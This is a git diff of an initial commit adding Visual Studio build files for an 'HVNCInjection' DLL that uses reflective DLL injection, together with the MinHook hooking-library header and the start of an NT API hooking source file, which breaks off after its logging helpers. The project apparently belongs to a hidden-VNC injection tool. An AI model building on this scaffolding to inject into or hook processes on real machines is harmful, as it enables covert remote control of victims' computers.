initial commit
This commit is contained in:
@@ -0,0 +1,286 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|ARM">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>ARM</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|ARM">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>ARM</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{483CE4EF-7B5C-4C47-BAC5-2EA5CD09EBFC}</ProjectGuid>
|
||||
<RootNamespace>HVNCInjection</RootNamespace>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup>
|
||||
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||
<IntDir>$(Configuration)\</IntDir>
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
||||
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||
<IntDir>$(Configuration)\</IntDir>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
||||
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<CompileAs>CompileAsCpp</CompileAs>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
<AdditionalLibraryDirectories>$(ProjectDir)src;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows"
|
||||
if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows"
|
||||
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\"
|
||||
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
||||
<ClCompile>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>true</BufferSecurityCheck>
|
||||
<CompileAs>Default</CompileAs>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OutputFile>$(OutDir)$(ProjectName).arm.dll</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<CompileAs>CompileAsCpp</CompileAs>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
<AdditionalLibraryDirectories>$(ProjectDir)src;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows"
|
||||
if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows"
|
||||
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\"
|
||||
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="src\ReflectiveDll.c" />
|
||||
<ClCompile Include="src\ReflectiveLoader.c" />
|
||||
<ClCompile Include="src\NtApiHooks.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="src\NtApiHooksConfig.h" />
|
||||
<ClInclude Include="src\ReflectiveDLLInjection.h" />
|
||||
<ClInclude Include="src\ReflectiveLoader.h" />
|
||||
<ClInclude Include="src\NtApiHooks.h" />
|
||||
<ClInclude Include="src\MinHook.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,41 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="src\ReflectiveDll.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="src\ReflectiveLoader.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="src\NtApiHooks.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="src\ReflectiveDLLInjection.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="src\ReflectiveLoader.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="src\NtApiHooks.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="src\MinHook.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="src\NtApiHooksConfig.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
Vendored
BIN
Binary file not shown.
@@ -0,0 +1,185 @@
|
||||
/*
|
||||
* MinHook - The Minimalistic API Hooking Library for x64/x86
|
||||
* Copyright (C) 2009-2017 Tsuda Kageyu.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
|
||||
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__)
|
||||
#error MinHook supports only x86 and x64 systems.
|
||||
#endif
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
// MinHook Error Codes.
|
||||
typedef enum MH_STATUS
|
||||
{
|
||||
// Unknown error. Should not be returned.
|
||||
MH_UNKNOWN = -1,
|
||||
|
||||
// Successful.
|
||||
MH_OK = 0,
|
||||
|
||||
// MinHook is already initialized.
|
||||
MH_ERROR_ALREADY_INITIALIZED,
|
||||
|
||||
// MinHook is not initialized yet, or already uninitialized.
|
||||
MH_ERROR_NOT_INITIALIZED,
|
||||
|
||||
// The hook for the specified target function is already created.
|
||||
MH_ERROR_ALREADY_CREATED,
|
||||
|
||||
// The hook for the specified target function is not created yet.
|
||||
MH_ERROR_NOT_CREATED,
|
||||
|
||||
// The hook for the specified target function is already enabled.
|
||||
MH_ERROR_ENABLED,
|
||||
|
||||
// The hook for the specified target function is not enabled yet, or already
|
||||
// disabled.
|
||||
MH_ERROR_DISABLED,
|
||||
|
||||
// The specified pointer is invalid. It points the address of non-allocated
|
||||
// and/or non-executable region.
|
||||
MH_ERROR_NOT_EXECUTABLE,
|
||||
|
||||
// The specified target function cannot be hooked.
|
||||
MH_ERROR_UNSUPPORTED_FUNCTION,
|
||||
|
||||
// Failed to allocate memory.
|
||||
MH_ERROR_MEMORY_ALLOC,
|
||||
|
||||
// Failed to change the memory protection.
|
||||
MH_ERROR_MEMORY_PROTECT,
|
||||
|
||||
// The specified module is not loaded.
|
||||
MH_ERROR_MODULE_NOT_FOUND,
|
||||
|
||||
// The specified function is not found.
|
||||
MH_ERROR_FUNCTION_NOT_FOUND
|
||||
}
|
||||
MH_STATUS;
|
||||
|
||||
// Can be passed as a parameter to MH_EnableHook, MH_DisableHook,
|
||||
// MH_QueueEnableHook or MH_QueueDisableHook.
|
||||
#define MH_ALL_HOOKS NULL
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
// Initialize the MinHook library. You must call this function EXACTLY ONCE
|
||||
// at the beginning of your program.
|
||||
MH_STATUS WINAPI MH_Initialize(VOID);
|
||||
|
||||
// Uninitialize the MinHook library. You must call this function EXACTLY
|
||||
// ONCE at the end of your program.
|
||||
MH_STATUS WINAPI MH_Uninitialize(VOID);
|
||||
|
||||
// Creates a Hook for the specified target function, in disabled state.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function, which will be
|
||||
// overridden by the detour function.
|
||||
// pDetour [in] A pointer to the detour function, which will override
|
||||
// the target function.
|
||||
// ppOriginal [out] A pointer to the trampoline function, which will be
|
||||
// used to call the original target function.
|
||||
// This parameter can be NULL.
|
||||
MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID* ppOriginal);
|
||||
|
||||
// Creates a Hook for the specified API function, in disabled state.
|
||||
// Parameters:
|
||||
// pszModule [in] A pointer to the loaded module name which contains the
|
||||
// target function.
|
||||
// pszTarget [in] A pointer to the target function name, which will be
|
||||
// overridden by the detour function.
|
||||
// pDetour [in] A pointer to the detour function, which will override
|
||||
// the target function.
|
||||
// ppOriginal [out] A pointer to the trampoline function, which will be
|
||||
// used to call the original target function.
|
||||
// This parameter can be NULL.
|
||||
MH_STATUS WINAPI MH_CreateHookApi(
|
||||
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal);
|
||||
|
||||
// Creates a Hook for the specified API function, in disabled state.
|
||||
// Parameters:
|
||||
// pszModule [in] A pointer to the loaded module name which contains the
|
||||
// target function.
|
||||
// pszTarget [in] A pointer to the target function name, which will be
|
||||
// overridden by the detour function.
|
||||
// pDetour [in] A pointer to the detour function, which will override
|
||||
// the target function.
|
||||
// ppOriginal [out] A pointer to the trampoline function, which will be
|
||||
// used to call the original target function.
|
||||
// This parameter can be NULL.
|
||||
// ppTarget [out] A pointer to the target function, which will be used
|
||||
// with other functions.
|
||||
// This parameter can be NULL.
|
||||
MH_STATUS WINAPI MH_CreateHookApiEx(
|
||||
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal, LPVOID* ppTarget);
|
||||
|
||||
// Removes an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget);
|
||||
|
||||
// Enables an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||
// enabled in one go.
|
||||
MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget);
|
||||
|
||||
// Disables an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||
// disabled in one go.
|
||||
MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget);
|
||||
|
||||
// Queues to enable an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||
// queued to be enabled.
|
||||
MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget);
|
||||
|
||||
// Queues to disable an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||
// queued to be disabled.
|
||||
MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget);
|
||||
|
||||
// Applies all queued changes in one go.
|
||||
MH_STATUS WINAPI MH_ApplyQueued(VOID);
|
||||
|
||||
// Translates the MH_STATUS to its name as a string.
|
||||
const char* WINAPI MH_StatusToString(MH_STATUS status);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,868 @@
|
||||
//===============================================================================================//
|
||||
// NT API Hooking Implementation
|
||||
//===============================================================================================//
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include "NtApiHooks.h"
|
||||
#include "NtApiHooksConfig.h"
|
||||
#include "MinHook.h"
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
#pragma comment(lib, "libMinHook.x64.lib")
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
// Global search and replacement strings (filled from parameter)
|
||||
static WCHAR g_SearchString[512] = { 0 };
|
||||
static WCHAR g_ReplacementString[512] = { 0 };
|
||||
static BOOL g_HooksInitialized = FALSE;
|
||||
static HANDLE g_LogFile = INVALID_HANDLE_VALUE;
|
||||
|
||||
// Helper function to log debug info
|
||||
void LogDebug(const WCHAR* message) {
|
||||
#if ENABLE_DEBUG_LOGGING
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
DWORD written;
|
||||
DWORD messageLen = (DWORD)wcslen(message) * sizeof(WCHAR);
|
||||
WriteFile(g_LogFile, message, messageLen, &written, NULL);
|
||||
|
||||
const WCHAR newline[] = L"\r\n";
|
||||
WriteFile(g_LogFile, newline, sizeof(newline) - sizeof(WCHAR), &written, NULL);
|
||||
FlushFileBuffers(g_LogFile);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
void LogDebugA(const char* message) {
|
||||
#if ENABLE_DEBUG_LOGGING
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
DWORD written;
|
||||
DWORD messageLen = (DWORD)strlen(message);
|
||||
WriteFile(g_LogFile, message, messageLen, &written, NULL);
|
||||
|
||||
const char newline[] = "\r\n";
|
||||
WriteFile(g_LogFile, newline, sizeof(newline) - 1, &written, NULL);
|
||||
FlushFileBuffers(g_LogFile);
|
||||
}
|
